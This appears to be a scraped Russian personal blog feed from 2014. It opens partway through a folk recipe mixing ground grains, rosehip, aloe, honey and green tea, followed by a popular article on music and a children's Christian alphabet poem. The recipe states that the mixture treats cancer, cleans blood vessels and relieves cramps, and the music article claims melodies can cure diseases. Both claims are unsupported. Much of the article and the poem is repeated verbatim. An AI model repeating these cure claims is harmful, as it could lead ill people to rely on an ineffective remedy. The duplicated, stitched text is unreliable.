просейте его через
мелкое сито.
То что просеется в блюдо крупам размолотым, крупам
там и останется. А в
сите если останутся зёрна от шиповника то вы их не выкидовывайте их на
помойку вы их положите
в отдельную пялку или
отдельное блюдечко .И
поставьте их на время в сторону они вам потом пригодятся.
5. Сложите и уберите на место
электрическую кофемолку.
6. Уберите в раковину пустой, использованный дуршлаг.
7. Столовой ложкой перемешайте в блюде 3
крупы в однородную массу и пересыпте их в 3-х литровую банку. Пересыпанные в
3-х литровую банку крупы покройте капроновой крышкой. И уберите в сторону.
8. Возьмите одну банку стеклянную 0,6 литров и в неё
положите 1 большой лист Алоэ или если
аптечный пузырёк сока Алоэ вылейте в банку только выливайте,
или делайте что то одно либо сок
или лит Алоэ. Потом в эту же банку с
Алоэ положите жидкий мёд
и перемешайте
в однородную массу. Не в коем случае мёд с
Алоэ не ставьте в холодильник или в холодное
место. Мёд должен быть
в этой банке всегда
жидким. Как приготовьте смесь Алоэ с жидким
Мёдом то поставьте эту баночку в сторону.
9. Приготовьте готовый заваренный
Зелёный чай.
10.
(Зелёный чай должен быть комнатной
температуры.
Способ употребления этой смеси?
1. Возьмите чистую, стеклянную,
большую кружку и
чистую столовую ложку.
2. В чистую, стеклянную кружку положите
сухую,
готовую смесь из 3-х
литровой банки 3 столовых ложки смеси.
3. В кружку со смесью положите одну
чайную ложку
Мёд с Алоэ.
4. В кружку со смесью и Мёдом с Алоэ налейте до
полноты кружки Зелёный чай.
5. Всё что в кружке находится
перемешайте в
однородную массу.
6. Всё что в кружке находится и
перемешано в
однородную массу скушайте или выпейте. (Как вам удобно).
7. Если вы эту смесь пьёте-едите для
лечения от рака,
и чистки сосудов, и
судорог ног, и рук то пейте-ешьте
это всё за 1 час до
еды 3 раза вдень.1 месяц.(Одним Курсом).А если вы эту смесь пьёте-едите
для
похудения то такие
пропорций кладите кружку
но ешьте-пейте это всё за 3 час до еды основной.
Мне лично эта смесь помогает от судорог в руках,
ногах и
внутречерепного давления.
Но пить эту смесь надо курсами 2 раза в год.(Весной и
Осенью).
Мария Пронина.,
29-09-2014 19:29
(ссылка)
Что такое музыка?
Мы все любим музыку: одному нравится классика, второму приятен танцевальный ритм, третий предпочитает рок… О стилях музыки можно говорить и спорить долго, но у каждого найдется хотя бы одна приятная сердцу и слуху мелодия. Все мы по-своему наслаждаемся музыкой, но каждый ли задумывался над тем, что такое музыка, какой она бывает и почему так нравится людям? Именно об этом сегодня и поговорим.
Определение музыкиМузыке можно дать разные определения в зависимости от того, что брать за основу. Вот что такое музыка, определение в научном стиле: вид искусства, в котором художественные образы передаются при помощи особенной организации звуков и тишины. Это определение может варьироваться, но в основе музыки всегда будет звук. Музыку также называют языком звуков.
Можно посмотреть на определение музыки с эмоциональной стороны: музыка – это средство или способ передачи эмоций и чувств. Музыка – это чудесный дар, данный человечеству. Спросите у разных людей о том, что значит музыка для них, и получите разные ответы. Музыка может быть средством получения наслаждения, способом самовыражения, хобби (когда человек сам сочиняет), делом всей жизни (когда увлечение музыкой очень сильно) и т.д.
Почему мы любим музыкуМузыка благотворно влияет на кору головного мозга, помогает справиться с депрессией и стрессом, расслабиться, снять нервное напряжение. Ученые считают, что наибольшую пользу может принести прослушивание народной и классической музыки. Также в научной среде существует мнение о том, что прослушивание любимой музыки доставляет человеку такое же наслаждение, как и занятие сексом.
Еще есть такое направление в медицине – музыкальная фармакология. Суть ее состоит в том, что можно вылечиваться от разных болезней при помощи прослушивания определенных мелодий. В этой сфере широко распространена классическая музыка.
А почему у каждого есть свои музыкальные предпочтения? Вкус в музыке определяется ритмами головного мозга, которые сугубо индивидуальны. Когда человек слышит музыку, соответствующую его ритмам, она ему нравится. Тот, у кого более учащенные головные ритмы, любит слушать музыку поэнергичней, у кого более спокойные – выбирает для себя медленные расслабляющие музыкальные композиции. Впрочем, у большинства людей с возрастом наблюдается замедление ритмов головного мозга, что все чаще вызывает желание слушать спокойную музыку.
Музыкальные стилиМузыкальный стиль – это совокупность всех элементов, средств выражения, приемов, воплощающая определенное идейное направление в музыке. На данный момент существует множество музыкальных стилей, мы же остановимся для примера на нескольких: классическая музыка, рок-музыка, хоровая музыка и духовная музыка.
Что такое динамика в музыке? Это нотные обозначения и понятия, которые связаны с громкостью звучания музыки. К динамике относится громкость, постепенные и резкие изменения в музыке, акцент, а также несколько других специальных терминов.
Музыкальный ритм – это соотношение долготы звуков (или нот) в их последовательности. Ритм построен на том, что какие-то ноты звучат дольше, чем другие, и все вместе они объединяются в определенном музыкальном потоке. Соотношение длительности звуков рождает различные ритмические вариации, которые, объединяясь, образуют ритмический рисунок музыки.
Что такое лад в музыке? Это понятие имеет много определений, лад занимает центральное место в гармонии музыки. Вот несколько определений лада:
Что такое минусовка в музыке? Это музыкальная композиция, из которой удален вокал или отсутствует звучание какого-либо музыкального инструмента. В минусовке отсутствует одна или несколько партий вокала и/или музыкальных инструментов, которая/которые присутствовала(и) в изначальной музыкальной композиции до изменения. Наиболее часто встречающаяся форма минусовки – это удаление слов из песни, таким образом, звучит одна музыка без слов.
В этой статье мы немного рассказали Вам о таком прекрасном виде искусства – о музыке. Конечно, тем, кому музыка интересна на профессиональном уровне, стоит изучить ее основы, законы, теорию и практику, наша статья лишь дает ответы на некоторые вопросы.
Ну а тем, кому было просто интересно узнать что-то новенькое из мира музыки, желаем как можно чаще и больше слушать ту музыку, которая нравится. И настроение улучшится, и жизнь станет веселей и ярче!
Определение музыкиМузыке можно дать разные определения в зависимости от того, что брать за основу. Вот что такое музыка, определение в научном стиле: вид искусства, в котором художественные образы передаются при помощи особенной организации звуков и тишины. Это определение может варьироваться, но в основе музыки всегда будет звук. Музыку также называют языком звуков.
Можно посмотреть на определение музыки с эмоциональной стороны: музыка – это средство или способ передачи эмоций и чувств. Музыка – это чудесный дар, данный человечеству. Спросите у разных людей о том, что значит музыка для них, и получите разные ответы. Музыка может быть средством получения наслаждения, способом самовыражения, хобби (когда человек сам сочиняет), делом всей жизни (когда увлечение музыкой очень сильно) и т.д.
Почему мы любим музыкуМузыка благотворно влияет на кору головного мозга, помогает справиться с депрессией и стрессом, расслабиться, снять нервное напряжение. Ученые считают, что наибольшую пользу может принести прослушивание народной и классической музыки. Также в научной среде существует мнение о том, что прослушивание любимой музыки доставляет человеку такое же наслаждение, как и занятие сексом.
Еще есть такое направление в медицине – музыкальная фармакология. Суть ее состоит в том, что можно вылечиваться от разных болезней при помощи прослушивания определенных мелодий. В этой сфере широко распространена классическая музыка.
А почему у каждого есть свои музыкальные предпочтения? Вкус в музыке определяется ритмами головного мозга, которые сугубо индивидуальны. Когда человек слышит музыку, соответствующую его ритмам, она ему нравится. Тот, у кого более учащенные головные ритмы, любит слушать музыку поэнергичней, у кого более спокойные – выбирает для себя медленные расслабляющие музыкальные композиции. Впрочем, у большинства людей с возрастом наблюдается замедление ритмов головного мозга, что все чаще вызывает желание слушать спокойную музыку.
Музыкальные стилиМузыкальный стиль – это совокупность всех элементов, средств выражения, приемов, воплощающая определенное идейное направление в музыке. На данный момент существует множество музыкальных стилей, мы же остановимся для примера на нескольких: классическая музыка, рок-музыка, хоровая музыка и духовная музыка.
- Что такое классическая музыка? Определений можно дать несколько. Во-первых, это музыка прошлого, которая выдержала испытание временем и имеет свою аудиторию в современной эпохе. Так, вальсы Штрауса в свое время считались развлекательной музыкой, теперь же они относятся к классической музыке. Во-вторых, с точки зрения истории, классической музыкой является западная музыка середины XVIII - начала XIX века (примеры: творчество Бетховена, Моцарта, Гайдна, Вивальди, Баха и т.д.). В-третьих, классической также считается «академическая» музыка, которая создается по канонам европейской музыки XVII—XIX веков, наследует жанры этой эпохи (например, это симфония, опера, соната).
- Что такое рок-музыка? «Рок-музыка» - это общее название для нескольких направлений популярной музыки. Особенности рок-музыки: усложненный ритм и структура, энергия ритмов, «драйв», популярные музыкальные инструменты в роке – электрогитара и барабаны, Рок считается музыкой молодых. Примеры рок-стилей: рок-н-ролл, рокабилли, фолк-рок, гаражный рок, психоделический рок, классический рок, хард-рок, панк-рок, прогрессивный рок, джаз-рок и т.д.
- Что такое хоровая музыка? Это музыка, которая предназначена для ее исполнения в хоре или исполняемая им. Хоровая музыка бывает народной и профессиональной, ее исполнение зависит от певческих особенностей членов хора. В чистом виде хоровая музыка представлена в форме пения a cappella – многоголосного пения без сопровождения музыки. Хоровая музыка предназначена для широкого круга слушателей, оказывает большое влияние на людей, в прошлом – средство политической и идеологической борьбы.
- Что такое духовная музыка? Это музыка религиозного характера, исполняется верующими людьми в быту или во время службы в храме. В узком смысле духовная музыка – это христианская церковная музыка. Большое значение имеют музыкальные тексты – строятся они или по канонам или пишутся в свободной форме на основе священных книг. Пример духовной музыки – хор Григорианских монахов.
Что такое динамика в музыке? Это нотные обозначения и понятия, которые связаны с громкостью звучания музыки. К динамике относится громкость, постепенные и резкие изменения в музыке, акцент, а также несколько других специальных терминов.
Музыкальный ритм – это соотношение долготы звуков (или нот) в их последовательности. Ритм построен на том, что какие-то ноты звучат дольше, чем другие, и все вместе они объединяются в определенном музыкальном потоке. Соотношение длительности звуков рождает различные ритмические вариации, которые, объединяясь, образуют ритмический рисунок музыки.
Что такое лад в музыке? Это понятие имеет много определений, лад занимает центральное место в гармонии музыки. Вот несколько определений лада:
- Схема построения звукового ряда (Ю.Д. Энгель).
- Организация тонов музыки в их взаимодействии (Б.В. Асафьев).
- Система связей звуков, которая объединена тоническим центром – созвучием или одним звуком (И.В. Способин).
Что такое минусовка в музыке? Это музыкальная композиция, из которой удален вокал или отсутствует звучание какого-либо музыкального инструмента. В минусовке отсутствует одна или несколько партий вокала и/или музыкальных инструментов, которая/которые присутствовала(и) в изначальной музыкальной композиции до изменения. Наиболее часто встречающаяся форма минусовки – это удаление слов из песни, таким образом, звучит одна музыка без слов.
В этой статье мы немного рассказали Вам о таком прекрасном виде искусства – о музыке. Конечно, тем, кому музыка интересна на профессиональном уровне, стоит изучить ее основы, законы, теорию и практику, наша статья лишь дает ответы на некоторые вопросы.
Ну а тем, кому было просто интересно узнать что-то новенькое из мира музыки, желаем как можно чаще и больше слушать ту музыку, которая нравится. И настроение улучшится, и жизнь станет веселей и ярче!
Метки: 2.
Мария Пронина.,
29-09-2014 19:07
(ссылка)
Азбука юного христианина.
1. Буква.А.Ангел Богом дан с рожденья.
Он - хранитель. Круглый год
Божие благословенье
С детства каждому несёт.
Ангел ада жаждет мщенья-
Бог низверг с небес его.
Бьются ангелы с рожденья
Из-за сердца твоего.
Милый мой! Живи разумно,
За Отечество радей.
Будь прилежным, скромным, умным
И полезным для людей.
2. Буква.Б.Бог живёт за небом синим.
Бога мы зовём Отцом,
Называем Бога Сыном,
Святым Духом и Творцом.
Всё Отец Небесный видит.
Добрый Пастырь - Он везде.
Помнит, любит, не обидит
И за всё воздаст тебе.
Не затмить Его. Он тот же
И сегодня, как вчера.
Бог во всём тебе поможет
И желает всем бодра.
3.Буква.В. Время выбрал Вседержитель
И Вселенную создал.
Он шесть дней творил в зените,
А в субботу - отдыхал.
С той поры смеется солнце,
Улыбается луна.
Благодать святая льётся,
И земля красот полна.
И теперь за всё в ответе
В этой жизни человек.
У блаженных - по примете-
Длинный и счастливый век.
4. Буква.Г. Грех - когда отвергли Бога
Люди первые в раю.
Огради от духа злого,
Боже, Родину мою.
Зависть, ненависть и гордость
Поражают мозг и кровь-
Бесы убивают совесть.
Бог явил свою любовь.
Еву в грех ввёл искупитель,
Грех наш - гвоздь в Христову плоть.
Божья цель - Христос Спаситель.
И светильник нам - Господь.
5.Буква.Д. Дом Отца - небес твердыня,
Церковь Божия. В душе -
Солнце правды и святыня -
С Богом я спасён уже.
Мама с папой любят Бога.
В каждом чистом сердце Бог.
И семья в общенье с Богом-
Тёплый райский уголок.
Верь в Отчизну. Будь достоин
Славы предков в грозный час.
Всё, что сделал Бог для Ноя,
То Он сделает для нас.
6.Буква.Е. Един Бог. Едина вера.
И крещение одно.
Оправдай Его доверье -
Будет всё тебе дано.
Должен ты родиться свыше.
Сердцем Господа принять.
Одарить тебя Всевышний.
Почитай отца и мать.
Не кради. не лги. Будь верен
Делу, слову своему.
Не убий. И будь уверен,
Что понравишься Ему.
7. Буква.Ё. Ёмко, точно, поэтично
Говорил Податель благ.
Вековечны Божьи притчи.
Покаянье - добрый знак.
Всякий, делающий злое,
Пожинает беды в срок.
Наставление святое
К исполненью Бог изрёк:
Не курить и не браниться,
Ум не заливать вином.
Быть смиренным, не гордиться,
За добро платить добром.
8.Буква.Ж. Жизнь под гнетом фараонов
И под тяжестью работ
Испытал непокорённый,
Богом избранный народ.
С Богом счастлив стал, свободен,
Благонравен и богат.
И не кланялись природе
В Ханаане стар и млад.
Знаменитые скрижали
Моисею дал Творец.
Десять заповедей - правил
Выполнять велел Отец.
9. Буква.З. Злат алтарь.Ковчег завета.
Херувимов образа...
В золотом потоке света
Освятить Бог наказал.
Возжигал Ему лампады
Милосердный Аарон.
Бог в Святом Святых - отрада.
Бог - закон для всех времён.
Из Эдема в наше племя
Ангел весточку принёс,
Что родился в Вифлееме
10. Буква.И. Иисус - Жених Небесный -
Неподкупный и простой,
Исцелял Господь чудесно
Всех, обиженных судьбой.
Он Невесту - Церковь Божью -
Бережёт среди скорбей,
И года мои умножил,
И заботится о ней.
Иисус - Вершитель судеб -
Всем живым необходим.
Нам спасенье Вечность будет -
Новый Иерусалим.
11. Буква.Й. Йод в поход возьми с собою.
Йорк - заморский городок.
Всё живое, неживое
Сотворил на свете Бог.
Во Христе земляне - братья.
Он - Хлеб, Истина и Путь.
Поклонись перед распятьем.
На Христа похожим будь.
Вс Собою наполняет:
Небеса и лоно вод.
Наши души созерцает -
Мы Его святой народ.
12.Буква.К. Книга - Книг! Великий труд
Вложен был в страницы эти.
Знают взрослые и дети:
Книгу "БИБЛИЯ”зовут.
Возлюби её сиянье,
Согревающее грудь,
Иордана колыханье,
На Голгофу крестный путь.
В ней святое вдохновенье.
Паруса твоих надежд.
Божий гнев, предупрежденье
Для тиранов и невежд.
13.Буква.Л. Лето силы умножает.
Золотится колосок.
Одарил Бог урожаем,
И зерно везут на ток.
Вера в Бога красит дело,
Лень гони из дома прочь.
И больным, и престарелым
Не стыдись, сынок, помочь.
Хорошо спросить совета,
Малышам примером быть.
Люди - гости в мире этом.
Научись себя ценить.
14.Буква.М. Мир с молитвою под вечер
На душистый луг похож.
До зари мерцают свечи.
Тихо кланяется рожь.
Окружи себя молитвой.
Всеведущий Бог с тобой -
Щит и меч на поле битвы -
Утешитель Всеблагой.
Чтоб глаза не пожелали,
Господу предай свой путь.
Утоли мои печали
И убогих не забудь.
15. Буква.Н. Ночь. Зарницы полыхают.
Праведный Судья распят.
Для Христа - чертоги рая.
Для Иуды - страшный ад.
Плоть Христа не знала тленья.
Сокрушил Спаситель грех.
Иисусу в воскресенье
Песнопения от всех.
Кто без веры умирает
И не кается ни в чём,
Тот в аду в огне пылает
И на муки обречён.
16.Буква.О. Озимь бархатом зелёным
Разукрасила поля.
Иисус! Тебя с поклоном
Ждёт кормилица - земля.
Правит миром жажда власти.
Злом и златом жалит смерть.
Укрощай слепые страсти -
Сможешь Бога лицезреть.
Царь святых! Всезрящим оком
Наблюдай мой каждый миг,
Чтоб у царского чертога
Приютить у ног своих.
17.Буква.П. Пасха! В трубы золотые
Ангелы трубят с небес:
- Будьте счастливы, живые!
Радуйтесь:"Христос воскрес!”
Смертью смерть попрал Спаситель.
Верен вечности Господь.
Воскресил себя Учитель.
Ты - живого Бога плоть.
Кем бы ты при жизни не был,
Подведи всему итог.
Сколько звёздочек на небе,
Столько милостей дал Бог.
18. Буква.Р. Рождество - благословенный,
Светлый праздник христиан.
Аллилуйя! Дар бесценный
Был Марии Богом дан.
Блещут звёзды. Холод лютый.
В яслях Сына нежит мать.
Бог послал Христа - малютку
За мой грех на крест страдать.
Агнец Божий - кладезь света
И бессмертия Залог.
Слава Нового Завета -
Бог Израиля - мой Бог!
19.Буква.С. Слово Бога слаще мёда.
Прав Он, что ни говори!
Это крылья для полёта
В алом пламени зари.
Иисус - Господь природы
И начало всех начал -
Братство, равенство, свободу,
Мир народом завещал.
Будет жить с Христом держава.
Служба Истине - наш долг!
Час за часом твой, по праву.
Дни и годы дарит Бог.
20.Буква.Т. Тайна истину скрывает,
Но одна ясней всего:
Бог страданья допускает,
Чтобы ты искал Его.
Не чуждайся испытаний.
Бог - надежда и оплот.
Сверх положенных страданий
Никому Бог не даёт.
Обходил вражду и ссору.
Мир, любовь - Его престол.
Путь к спасенью - через веру
В кровь, пролитую Христом.
21.Буква.У. Утро песней начинает
Соловей - любви поэт.
Мать младенца пеленает
И желает долгих лет:
- В мире нет пути иного
От рожденья до седин.
Всё хорошее - от Бога.
В путь смелее - вместе с ним!
С юных лет родное имя
Уважай. и береги.
Всей земли Царём хранимый,
Не страшны тебе враги.
22.Буква.Ф. Фимиам благоуханный -
Иисус - моей душе.
Сын Давидов - гость желанный
Во дворце и шалаше.
Ты, Ходатай,неустанно
Молишь за меня Отца.
Искупителю - осанна!
Берегись хвалы льстеца.
Ежедневно для общенья
Богу время уделяй.
Жизни скудные мгновенья
В руки Господа отдай.
23. Бува.Х. Храм - душа христианина.
Мы - посланники Христа.
Срок дней провёл в пустыне
Он с молитвой на устах.
Се грешны на белом свете.
Всё земное - прах и тлен.
Каждый верующий, дети,
Им оправдан и спасён.
Бог простил нам прегрешнья,
Вот и мы должны прощать.
Пост с молитвой - ключ к решенью
Искушенья побеждать.
24.Буква.Ц.Церковь - Иисуса тело.
Сила Вышнего окрест.
В ад сошёл Спаситель смело,
Вывел верных. Сила - крест!
Дух Святой - печать от бога -
Дан тебе Творцом любя.
В грешной жизни - скорби много.
Всё плохое - от себя.
Всё у Бога справедливо:
Счастье - мудрости сосед.
Не живёт народ счастливо
Там, где веры в Бога нет.
24. Буква.Ч. Человек - свидетель чуда.
Бог доволен от хлопот:
Греет землю от простуды,
Если вьюга заметёт.
Пахнет мёдом, хлебом лето.
Что посеешь - то пожнёшь.
Много песен Богу спето!
До чего ж Творец хорош!
Святый Дух душою правит.
Душа - телом. Потому
Я хочу Христа прославить
И шагаю в дом к Нему.
25. Буква.Ш. Шар земной, мироявленный,
Царь царей благословил.
И к Отцу на трон священный
Во Святом Святых вступил.
Он понёс болезни наши.
Был изранен, изъязвлен.
Он испил позора чашу -
Иисусу наш поклон.
Сочетай талант и душу,
С кем желаешь жить - Дружить.
Сердцем сердце Бога слушать,
И мужать, и ум точить.
26.Буква.Щ. Щедро льётся свет денницы.
Благоцветный край родной.
Надо Богу помолиться,
День встречая трудовой.
И в раю была работа:
Сад возделывать, хранить.
Наказанием, ребята,
Труд никак не может быть.
Жаждет воли пахарь сильный,
Благодати и тепла,
Чтобы крепкой, изобильной
Наша Родина была.
27. Буква.Ь.Ъ. Мягкий знак (ь) и твёрдый знак (ъ)
Дружат, братья как никак.
Буквы мягкий знак смягчает.
Твёрдый - буквы разделяет.
Вера, праведность и Слово
Грех способны побеждать.
Сердце с Господом готово
Необъятное объять.
Оговоров и насмешек,
Клеветы не привечай.
Только Бог свят, чист, безгрешен.
Малодушных - вразумляй.
28. Буква.Ы. Ыгыатта, манишь взоры
Ты, сибирская река!
К размышлению простоты
Сотворил Бог на века.
Бог заботами,трудами
Мирозданья заселил.
Плоть земную чудесами
Иисус заполнил.
Мир устроен гениально,
И начало капля в нём.
Слово Бога изначально.
Богом дышим и живём.
29.Буква.Э. Эхо катится за солнцем
В облака и синь небес.
Зеленеет за оконцем
Раскудрявый, юный лес.
Чу! Летит голубок стая.
Божей свет рождает день.
Сей добро, не уставая,
В непогоду и сухмень.
Исус Христос,- посредник
Между Богом и людьми,
Грешным друг, Первосвященник-
В царство Божий прими.
30. Буква.Ю. Юный друг! Дороже нету,
Как по чести с детства жить.
Обойдём с тобой планету,
Будем Господу служить!
Совершенным быть непросто.
Истина - Благая Весть.
Церковь - благодати остров -
У моей Отчизны есть.
Прежде сотворенья мира
Бог нас предопределил.
Не твори себе кумира.
Дорог Богу ты и мил.
31. Буква.Я.Язык нам дан сердца будить,
Хранить родную речь.
Мир Божьим Словом исцелить
И отчий дом беречь.
Не нужен будет никому
Не любящий Христа.
Покуда жив, служи Ему.
В любви душа чиста.
Пути людей сольёт Христос
Перед Своим Судом,
Ступай за Богом во весь рост,
За светом и теплом.
АМИНЬ.
Он - хранитель. Круглый год
Божие благословенье
С детства каждому несёт.
Ангел ада жаждет мщенья-
Бог низверг с небес его.
Бьются ангелы с рожденья
Из-за сердца твоего.
Милый мой! Живи разумно,
За Отечество радей.
Будь прилежным, скромным, умным
И полезным для людей.
2. Буква.Б.Бог живёт за небом синим.
Бога мы зовём Отцом,
Называем Бога Сыном,
Святым Духом и Творцом.
Всё Отец Небесный видит.
Добрый Пастырь - Он везде.
Помнит, любит, не обидит
И за всё воздаст тебе.
Не затмить Его. Он тот же
И сегодня, как вчера.
Бог во всём тебе поможет
И желает всем бодра.
3.Буква.В. Время выбрал Вседержитель
И Вселенную создал.
Он шесть дней творил в зените,
А в субботу - отдыхал.
С той поры смеется солнце,
Улыбается луна.
Благодать святая льётся,
И земля красот полна.
И теперь за всё в ответе
В этой жизни человек.
У блаженных - по примете-
Длинный и счастливый век.
4. Буква.Г. Грех - когда отвергли Бога
Люди первые в раю.
Огради от духа злого,
Боже, Родину мою.
Зависть, ненависть и гордость
Поражают мозг и кровь-
Бесы убивают совесть.
Бог явил свою любовь.
Еву в грех ввёл искупитель,
Грех наш - гвоздь в Христову плоть.
Божья цель - Христос Спаситель.
И светильник нам - Господь.
5.Буква.Д. Дом Отца - небес твердыня,
Церковь Божия. В душе -
Солнце правды и святыня -
С Богом я спасён уже.
Мама с папой любят Бога.
В каждом чистом сердце Бог.
И семья в общенье с Богом-
Тёплый райский уголок.
Верь в Отчизну. Будь достоин
Славы предков в грозный час.
Всё, что сделал Бог для Ноя,
То Он сделает для нас.
6.Буква.Е. Един Бог. Едина вера.
И крещение одно.
Оправдай Его доверье -
Будет всё тебе дано.
Должен ты родиться свыше.
Сердцем Господа принять.
Одарить тебя Всевышний.
Почитай отца и мать.
Не кради. не лги. Будь верен
Делу, слову своему.
Не убий. И будь уверен,
Что понравишься Ему.
7. Буква.Ё. Ёмко, точно, поэтично
Говорил Податель благ.
Вековечны Божьи притчи.
Покаянье - добрый знак.
Всякий, делающий злое,
Пожинает беды в срок.
Наставление святое
К исполненью Бог изрёк:
Не курить и не браниться,
Ум не заливать вином.
Быть смиренным, не гордиться,
За добро платить добром.
8.Буква.Ж. Жизнь под гнетом фараонов
И под тяжестью работ
Испытал непокорённый,
Богом избранный народ.
С Богом счастлив стал, свободен,
Благонравен и богат.
И не кланялись природе
В Ханаане стар и млад.
Знаменитые скрижали
Моисею дал Творец.
Десять заповедей - правил
Выполнять велел Отец.
9. Буква.З. Злат алтарь.Ковчег завета.
Херувимов образа...
В золотом потоке света
Освятить Бог наказал.
Возжигал Ему лампады
Милосердный Аарон.
Бог в Святом Святых - отрада.
Бог - закон для всех времён.
Из Эдема в наше племя
Ангел весточку принёс,
Что родился в Вифлееме
Богочеловек Христос.
10. Буква.И. Иисус - Жених Небесный -
Неподкупный и простой,
Исцелял Господь чудесно
Всех, обиженных судьбой.
Он Невесту - Церковь Божью -
Бережёт среди скорбей,
И года мои умножил,
И заботится о ней.
Иисус - Вершитель судеб -
Всем живым необходим.
Нам спасенье Вечность будет -
Новый Иерусалим.
11. Буква.Й. Йод в поход возьми с собою.
Йорк - заморский городок.
Всё живое, неживое
Сотворил на свете Бог.
Во Христе земляне - братья.
Он - Хлеб, Истина и Путь.
Поклонись перед распятьем.
На Христа похожим будь.
Вс Собою наполняет:
Небеса и лоно вод.
Наши души созерцает -
Мы Его святой народ.
12.Буква.К. Книга - Книг! Великий труд
Вложен был в страницы эти.
Знают взрослые и дети:
Книгу "БИБЛИЯ”зовут.
Возлюби её сиянье,
Согревающее грудь,
Иордана колыханье,
На Голгофу крестный путь.
В ней святое вдохновенье.
Паруса твоих надежд.
Божий гнев, предупрежденье
Для тиранов и невежд.
13.Буква.Л. Лето силы умножает.
Золотится колосок.
Одарил Бог урожаем,
И зерно везут на ток.
Вера в Бога красит дело,
Лень гони из дома прочь.
И больным, и престарелым
Не стыдись, сынок, помочь.
Хорошо спросить совета,
Малышам примером быть.
Люди - гости в мире этом.
Научись себя ценить.
14.Буква.М. Мир с молитвою под вечер
На душистый луг похож.
До зари мерцают свечи.
Тихо кланяется рожь.
Окружи себя молитвой.
Всеведущий Бог с тобой -
Щит и меч на поле битвы -
Утешитель Всеблагой.
Чтоб глаза не пожелали,
Господу предай свой путь.
Утоли мои печали
И убогих не забудь.
15. Буква.Н. Ночь. Зарницы полыхают.
Праведный Судья распят.
Для Христа - чертоги рая.
Для Иуды - страшный ад.
Плоть Христа не знала тленья.
Сокрушил Спаситель грех.
Иисусу в воскресенье
Песнопения от всех.
Кто без веры умирает
И не кается ни в чём,
Тот в аду в огне пылает
И на муки обречён.
16.Буква.О. Озимь бархатом зелёным
Разукрасила поля.
Иисус! Тебя с поклоном
Ждёт кормилица - земля.
Правит миром жажда власти.
Злом и златом жалит смерть.
Укрощай слепые страсти -
Сможешь Бога лицезреть.
Царь святых! Всезрящим оком
Наблюдай мой каждый миг,
Чтоб у царского чертога
Приютить у ног своих.
17.Буква.П. Пасха! В трубы золотые
Ангелы трубят с небес:
- Будьте счастливы, живые!
Радуйтесь:"Христос воскрес!”
Смертью смерть попрал Спаситель.
Верен вечности Господь.
Воскресил себя Учитель.
Ты - живого Бога плоть.
Кем бы ты при жизни не был,
Подведи всему итог.
Сколько звёздочек на небе,
Столько милостей дал Бог.
18. Буква.Р. Рождество - благословенный,
Светлый праздник христиан.
Аллилуйя! Дар бесценный
Был Марии Богом дан.
Блещут звёзды. Холод лютый.
В яслях Сына нежит мать.
Бог послал Христа - малютку
За мой грех на крест страдать.
Агнец Божий - кладезь света
И бессмертия Залог.
Слава Нового Завета -
Бог Израиля - мой Бог!
19.Буква.С. Слово Бога слаще мёда.
Прав Он, что ни говори!
Это крылья для полёта
В алом пламени зари.
Иисус - Господь природы
И начало всех начал -
Братство, равенство, свободу,
Мир народом завещал.
Будет жить с Христом держава.
Служба Истине - наш долг!
Час за часом твой, по праву.
Дни и годы дарит Бог.
20.Буква.Т. Тайна истину скрывает,
Но одна ясней всего:
Бог страданья допускает,
Чтобы ты искал Его.
Не чуждайся испытаний.
Бог - надежда и оплот.
Сверх положенных страданий
Никому Бог не даёт.
Обходил вражду и ссору.
Мир, любовь - Его престол.
Путь к спасенью - через веру
В кровь, пролитую Христом.
21.Буква.У. Утро песней начинает
Соловей - любви поэт.
Мать младенца пеленает
И желает долгих лет:
- В мире нет пути иного
От рожденья до седин.
Всё хорошее - от Бога.
В путь смелее - вместе с ним!
С юных лет родное имя
Уважай. и береги.
Всей земли Царём хранимый,
Не страшны тебе враги.
22.Буква.Ф. Фимиам благоуханный -
Иисус - моей душе.
Сын Давидов - гость желанный
Во дворце и шалаше.
Ты, Ходатай,неустанно
Молишь за меня Отца.
Искупителю - осанна!
Берегись хвалы льстеца.
Ежедневно для общенья
Богу время уделяй.
Жизни скудные мгновенья
В руки Господа отдай.
23. Бува.Х. Храм - душа христианина.
Мы - посланники Христа.
Срок дней провёл в пустыне
Он с молитвой на устах.
Се грешны на белом свете.
Всё земное - прах и тлен.
Каждый верующий, дети,
Им оправдан и спасён.
Бог простил нам прегрешнья,
Вот и мы должны прощать.
Пост с молитвой - ключ к решенью
Искушенья побеждать.
24.Буква.Ц.Церковь - Иисуса тело.
Сила Вышнего окрест.
В ад сошёл Спаситель смело,
Вывел верных. Сила - крест!
Дух Святой - печать от бога -
Дан тебе Творцом любя.
В грешной жизни - скорби много.
Всё плохое - от себя.
Всё у Бога справедливо:
Счастье - мудрости сосед.
Не живёт народ счастливо
Там, где веры в Бога нет.
24. Буква.Ч. Человек - свидетель чуда.
Бог доволен от хлопот:
Греет землю от простуды,
Если вьюга заметёт.
Пахнет мёдом, хлебом лето.
Что посеешь - то пожнёшь.
Много песен Богу спето!
До чего ж Творец хорош!
Святый Дух душою правит.
Душа - телом. Потому
Я хочу Христа прославить
И шагаю в дом к Нему.
25. Буква.Ш. Шар земной, мироявленный,
Царь царей благословил.
И к Отцу на трон священный
Во Святом Святых вступил.
Он понёс болезни наши.
Был изранен, изъязвлен.
Он испил позора чашу -
Иисусу наш поклон.
Сочетай талант и душу,
С кем желаешь жить - Дружить.
Сердцем сердце Бога слушать,
И мужать, и ум точить.
26.Буква.Щ. Щедро льётся свет денницы.
Благоцветный край родной.
Надо Богу помолиться,
День встречая трудовой.
И в раю была работа:
Сад возделывать, хранить.
Наказанием, ребята,
Труд никак не может быть.
Жаждет воли пахарь сильный,
Благодати и тепла,
Чтобы крепкой, изобильной
Наша Родина была.
27. Буква.Ь.Ъ. Мягкий знак (ь) и твёрдый знак (ъ)
Дружат, братья как никак.
Буквы мягкий знак смягчает.
Твёрдый - буквы разделяет.
Вера, праведность и Слово
Грех способны побеждать.
Сердце с Господом готово
Необъятное объять.
Оговоров и насмешек,
Клеветы не привечай.
Только Бог свят, чист, безгрешен.
Малодушных - вразумляй.
28. Буква.Ы. Ыгыатта, манишь взоры
Ты, сибирская река!
К размышлению простоты
Сотворил Бог на века.
Бог заботами,трудами
Мирозданья заселил.
Плоть земную чудесами
Иисус заполнил.
Мир устроен гениально,
И начало капля в нём.
Слово Бога изначально.
Богом дышим и живём.
29.Буква.Э. Эхо катится за солнцем
В облака и синь небес.
Зеленеет за оконцем
Раскудрявый, юный лес.
Чу! Летит голубок стая.
Божей свет рождает день.
Сей добро, не уставая,
В непогоду и сухмень.
Исус Христос,- посредник
Между Богом и людьми,
Грешным друг, Первосвященник-
В царство Божий прими.
